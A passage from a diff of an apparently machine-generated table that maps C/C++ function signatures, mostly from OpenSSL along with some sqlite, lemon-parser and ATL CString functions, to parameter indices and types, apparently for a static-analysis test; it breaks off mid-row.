X509_VERIFY_PARAM_set1_ip | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 1 | const unsigned char * | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | size_t | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | int | +| (X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *) | | X509_VERIFY_PARAM_set1_policies | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *) | | X509_VERIFY_PARAM_set1_policies | 1 | stack_st_ASN1_OBJECT * | +| (X509_VERIFY_PARAM *,time_t) | | X509_VERIFY_PARAM_set_time | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,time_t) | | X509_VERIFY_PARAM_set_time | 1 | time_t | +| (X509_VERIFY_PARAM *,uint32_t) | | X509_VERIFY_PARAM_set_inh_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,uint32_t) | | X509_VERIFY_PARAM_set_inh_flags | 1 | uint32_t | +| (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | unsigned int | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | unsigned long | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | unsigned long | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | XCHAR * | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | const XCHAR * | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | int | @@ -724,7 +21513,110 @@ getSignatureParameterName | (XCHAR,XCHAR) | CStringT | Replace | 0 | XCHAR | | (XCHAR,XCHAR) | CStringT | Replace | 1 | XCHAR | | (YCHAR) | CStringT | operator= | 0 | YCHAR | +| (action **,e_action,symbol *,char *) | | Action_add | 0 | action ** | +| (action **,e_action,symbol *,char *) | | Action_add | 1 | e_action | +| (action **,e_action,symbol *,char *) | | Action_add | 2 | symbol * | +| (action **,e_action,symbol *,char *) | | Action_add | 3 | char * | +| (action *,FILE *,int) | | PrintAction | 0 | action * | +| (action *,FILE *,int) | | PrintAction | 1 | FILE * | +| (action *,FILE *,int) | | PrintAction | 2 | int | +| (acttab *) | | acttab_action_size | 0 | acttab * | +| (acttab *,int) | | acttab_insert | 0 | acttab * | +| (acttab *,int) | | acttab_insert | 1 | int | +| (acttab *,int,int) | | acttab_action | 0 | acttab * | +| (acttab *,int,int) | | acttab_action | 1 | int | +| (acttab *,int,int) | | acttab_action | 2 | int | +| (char *) | | SRP_VBASE_new | 0 | char * | +| (char *) | | defossilize | 0 | char * | +| (char *) | | make_uppercase | 0 | char * | +| (char *) | | next_item | 0 | char * | | (char *) | CStringT | CStringT | 0 | char * | +| (char **) | | OCSP_accept_responses_new | 0 | char ** | +| (char **) | | sqlite3_free_table | 0 | char ** | +| (char **,s_options *,FILE *) | | OptInit | 0 | char ** | +| (char **,s_options *,FILE *) | | OptInit | 1 | s_options * | +| (char **,s_options *,FILE *) | | OptInit | 2 | FILE * | +| (char *,EVP_CIPHER_INFO *) | | PEM_get_EVP_CIPHER_INFO | 0 | char * | +| (char *,EVP_CIPHER_INFO *) | | PEM_get_EVP_CIPHER_INFO | 1 | EVP_CIPHER_INFO * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 0 | char * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 1 | FILE * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 2 | FILE * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 3 | int * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 0 | char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 1 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 2 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 3 | X509_VERIFY_PARAM * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 0 | char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 1 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 2 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 3 | X509_VERIFY_PARAM * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 0 | char * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 1 | const char * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 2 | int | +| (char *,const char *,int,const char *) | | PEM_dek_info | 3 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 0 | char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 1 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | size_t | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 0 | char * | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 1 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | size_t | +| (char *,int) | | PEM_proc_type | 0 | char * | +| (char *,int) | | PEM_proc_type | 1 | int | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 0 | char * | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 1 | int | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 2 | const ASN1_OBJECT * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 0 | char * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 1 | int | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 2 | const ASN1_OBJECT * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 3 | int | +| (char *,int,int,void *) | | PEM_def_callback | 0 | char * | +| (char *,int,int,void *) | | PEM_def_callback | 1 | int | +| (char *,int,int,void *) | | PEM_def_callback | 2 | int | +| (char *,int,int,void *) | | PEM_def_callback | 3 | void * | +| (char *,int,int,void *) | | ossl_pw_pem_password | 0 | char * | +| (char *,int,int,void *) | | ossl_pw_pem_password | 1 | int | +| (char *,int,int,void *) | | ossl_pw_pem_password | 2 | int | +| (char *,int,int,void *) | | ossl_pw_pem_password | 3 | void * | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 0 | char * | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 1 | int | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 2 | int | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | void * | +| (char *,size_t) | | RAND_file_name | 0 | char * | +| (char *,size_t) | | RAND_file_name | 1 | size_t | +| (char *,size_t,const char *,...) | | BIO_snprintf | 0 | char * | +| (char *,size_t,const char *,...) | | BIO_snprintf | 1 | size_t | +| (char *,size_t,const char *,...) | | BIO_snprintf | 2 | const char * | +| (char *,size_t,const char *,...) | | BIO_snprintf | 3 | ... | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 0 | char * | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 1 | size_t | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 2 | const char * | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 3 | va_list | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 4 | int | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 5 | ossl_passphrase_data_st * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | void * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | void * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 0 | char * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 1 | size_t | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 2 | size_t * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 3 | const unsigned char * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 4 | size_t | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 5 | const char | +| (char *,uint8_t) | | ossl_to_hex | 0 | char * | +| (char *,uint8_t) | | ossl_to_hex | 1 | uint8_t | +| (char *,unsigned int) | | utf8_fromunicode | 0 | char * | +| (char *,unsigned int) | | utf8_fromunicode | 1 | unsigned int | | (char) | | operator+= | 0 | char | | (char) | CComBSTR | Append | 0 | char | | (char) | CSimpleStringT | operator+= | 0 | char | @@ -732,10 +21624,501 @@ getSignatureParameterName | (char,const CStringT &) | | operator+ | 1 | const CStringT & | | (char,int) | CStringT | CStringT | 0 | char | | (char,int) | CStringT | CStringT | 1 | int | +| (config *) | | State_find | 0 | config * | +| (config *) | | confighash | 0 | config * | +| (config *) | | statehash | 0 | config * | +| (config *,config *) | | statecmp | 0 | config * | +| (config *,config *) | | statecmp | 1 | config * | +| (const ACCESS_DESCRIPTION *,unsigned char **) | | i2d_ACCESS_DESCRIPTION | 0 | const ACCESS_DESCRIPTION * | +| (const ACCESS_DESCRIPTION *,unsigned char **) | | i2d_ACCESS_DESCRIPTION | 1 | unsigned char ** | +| (const ADMISSIONS *) | | ADMISSIONS_get0_admissionAuthority | 0 | const ADMISSIONS * | +| (const ADMISSIONS *) | | ADMISSIONS_get0_namingAuthority | 0 | const ADMISSIONS * | +| (const ADMISSIONS *) | | ADMISSIONS_get0_professionInfos | 0 | const ADMISSIONS * | +| (const ADMISSIONS *,unsigned char **) | | i2d_ADMISSIONS | 0 | const ADMISSIONS * | +| (const ADMISSIONS *,unsigned char **) | | i2d_ADMISSIONS | 1 | unsigned char ** | +| (const ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_get0_admissionAuthority | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_get0_contentsOfAdmissions | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *,unsigned char **) | | i2d_ADMISSION_SYNTAX | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *,unsigned char **) | | i2d_ADMISSION_SYNTAX | 1 | unsigned char ** | +| (const ASIdOrRange *,unsigned char **) | | i2d_ASIdOrRange | 0 | const ASIdOrRange * | +| (const ASIdOrRange *,unsigned char **) | | i2d_ASIdOrRange | 1 | unsigned char ** | +| (const ASIdentifierChoice *,unsigned char **) | | i2d_ASIdentifierChoice | 0 | const ASIdentifierChoice * | +| (const ASIdentifierChoice *,unsigned char **) | | i2d_ASIdentifierChoice | 1 | unsigned char ** | +| (const ASIdentifiers *,unsigned char **) | | i2d_ASIdentifiers | 0 | const ASIdentifiers * | +| (const ASIdentifiers *,unsigned char **) | | i2d_ASIdentifiers | 1 | unsigned char ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 0 | const ASN1_BIT_STRING ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 1 | const X509_ALGOR ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 2 | const X509 * | +| (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 0 | const ASN1_BIT_STRING * | +| (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | int | +| (const ASN1_BIT_STRING *,unsigned char **) | | i2d_ASN1_BIT_STRING | 0 | const ASN1_BIT_STRING * | +| (const ASN1_BIT_STRING *,unsigned char **) | | i2d_ASN1_BIT_STRING | 1 | unsigned char ** | +| (const ASN1_BMPSTRING *,unsigned char **) | | i2d_ASN1_BMPSTRING | 0 | const ASN1_BMPSTRING * | +| (const ASN1_BMPSTRING *,unsigned char **) | | i2d_ASN1_BMPSTRING | 1 | unsigned char ** | +| (const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,BIGNUM *) | | ASN1_ENUMERATED_to_BN | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,BIGNUM *) | | ASN1_ENUMERATED_to_BN | 1 | BIGNUM * | +| (const ASN1_ENUMERATED *,unsigned char **) | | i2d_ASN1_ENUMERATED | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,unsigned char **) | | i2d_ASN1_ENUMERATED | 1 | unsigned char ** | +| (const ASN1_GENERALIZEDTIME *) | | ASN1_GENERALIZEDTIME_dup | 0 | const ASN1_GENERALIZEDTIME * | +| (const ASN1_GENERALIZEDTIME *,unsigned char **) | | i2d_ASN1_GENERALIZEDTIME | 0 | const ASN1_GENERALIZEDTIME * | +| (const ASN1_GENERALIZEDTIME *,unsigned char **) | | i2d_ASN1_GENERALIZEDTIME | 1 | unsigned char ** | +| (const ASN1_GENERALSTRING *,unsigned char **) | | i2d_ASN1_GENERALSTRING | 0 | const ASN1_GENERALSTRING * | +| (const ASN1_GENERALSTRING *,unsigned char **) | | i2d_ASN1_GENERALSTRING | 1 | unsigned char ** | +| (const ASN1_IA5STRING *,unsigned char **) | | i2d_ASN1_IA5STRING | 0 | const ASN1_IA5STRING * | +| (const ASN1_IA5STRING *,unsigned char **) | | i2d_ASN1_IA5STRING | 1 | unsigned char ** | +| (const ASN1_INTEGER *) | | ASN1_INTEGER_dup | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *) | | ASN1_INTEGER_get | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *) | | ossl_cmp_asn1_get_int | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,BIGNUM *) | | ASN1_INTEGER_to_BN | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,BIGNUM *) | | ASN1_INTEGER_to_BN | 1 | BIGNUM * | +| (const ASN1_INTEGER *,const ASN1_INTEGER *) | | ASN1_INTEGER_cmp | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,const ASN1_INTEGER *) | | ASN1_INTEGER_cmp | 1 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,unsigned char **) | | i2d_ASN1_INTEGER | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,unsigned char **) | | i2d_ASN1_INTEGER | 1 | unsigned char ** | +| (const ASN1_ITEM *) | | ASN1_item_new | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 1 | ASN1_VALUE ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 2 | char ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 3 | BIO ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 4 | BIO * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 5 | int * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 6 | const char * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 7 | int | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 8 | int | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 2 | const void * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 2 | void * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 2 | void * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 3 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 4 | const char * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 2 | const void * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 2 | void * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 2 | void * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 3 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 4 | const char * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 1 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 2 | const char * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 5 | EVP_MD_CTX * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 5 | EVP_PKEY * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 6 | const EVP_MD * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 5 | const ASN1_OCTET_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 6 | EVP_PKEY * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 7 | const EVP_MD * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 8 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 9 | const char * | +| (const ASN1_ITEM *,const ASN1_TYPE *) | | ASN1_TYPE_unpack_sequence | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const ASN1_TYPE *) | | ASN1_TYPE_unpack_sequence | 1 | const ASN1_TYPE * | +| (const ASN1_ITEM *,const ASN1_VALUE *) | | ASN1_item_i2d_mem_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const ASN1_VALUE *) | | ASN1_item_i2d_mem_bio | 1 | const ASN1_VALUE * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 1 | const EVP_MD * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 2 | void * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 3 | unsigned char * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 4 | unsigned int * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 1 | const EVP_MD * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 2 | void * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 3 | unsigned char * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 4 | unsigned int * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 5 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 6 | const char * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void 